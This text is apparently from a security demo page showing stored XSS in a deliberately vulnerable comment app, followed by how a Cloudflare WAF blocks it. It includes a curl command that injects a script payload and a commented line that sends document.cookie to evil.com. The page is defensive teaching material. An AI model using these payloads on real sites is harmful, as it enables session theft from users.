What is Cross-Site Scripting (XSS)?
XSS flaws occur whenever an application includes untrusted data in a web page without proper validation or escaping. Stored XSS persists on the server and executes for all users who view the content.
Common Exploits:
- Steal session cookies with document.cookie
- Keylogging user input on the page
- Phishing attacks modifying page content
- Redirect users to malicious sites
- Execute actions on behalf of the user
Before WAF: Vulnerable
Without Cloudflare WAF, XSS payloads execute in visitors' browsers
Post XSS Payload:
Or use cURL:
# Store XSS payload
curl -X POST "<your-worker-url>/api/comment" \
-H "Content-Type: application/json" \
-d '{"content":"<script>alert('XSS')</script>"}'
# Script executes when anyone views comments!
# Steal cookies: <script>fetch('evil.com?c='+document.cookie)</script>Vulnerability: User input stored and rendered without HTML sanitization.
Comments (XSS Executes Here)
View stored comments - scripts will execute!
john_doe2/19/2026, 1:16:58 AM
john_doe2/19/2026, 12:13:28 AM
john_doe2/19/2026, 12:13:12 AM
grace_hopper2/18/2026, 11:53:28 PM
Just completed my security training!
frank_castle2/18/2026, 11:38:28 PM
The admin page is at /admin
eve_online2/18/2026, 11:08:28 PM
Testing the comment system.
diana_prince2/18/2026, 6:08:28 PM
Found a vulnerability!
charlie_day2/18/2026, 12:08:28 PM
Can someone help me with authentication?
bob_builder2/18/2026, 12:08:28 AM
I love the security features!
alice_wonder2/17/2026, 12:08:28 AM
This is a great demo! 
jane_smith1/3/2024, 9:15:00 AM
I love this app!
john_doe1/2/2024, 2:30:00 PM
This is a normal comment.
admin1/1/2024, 10:00:00 AM
Welcome to the security demo! Try to find vulnerabilities.
After WAF: Protected
With Cloudflare WAF, XSS payloads are stripped before reaching users
Enable Cloudflare Protection:
- Go to Cloudflare Dashboard → Security → WAF
- Enable "Cloudflare Managed Ruleset"
- Enable "OWASP Core Ruleset"
- XSS rules automatically strip <script> tags
Result: <script> tags and event handlers are blocked at the edge.
Cloudflare WAF Protection
- ✓XSS Rules: Block <script> tags and event handlers
- ✓HTML Sanitization: Remove dangerous tags from requests
- ✓Content Security Policy: Enforce CSP headers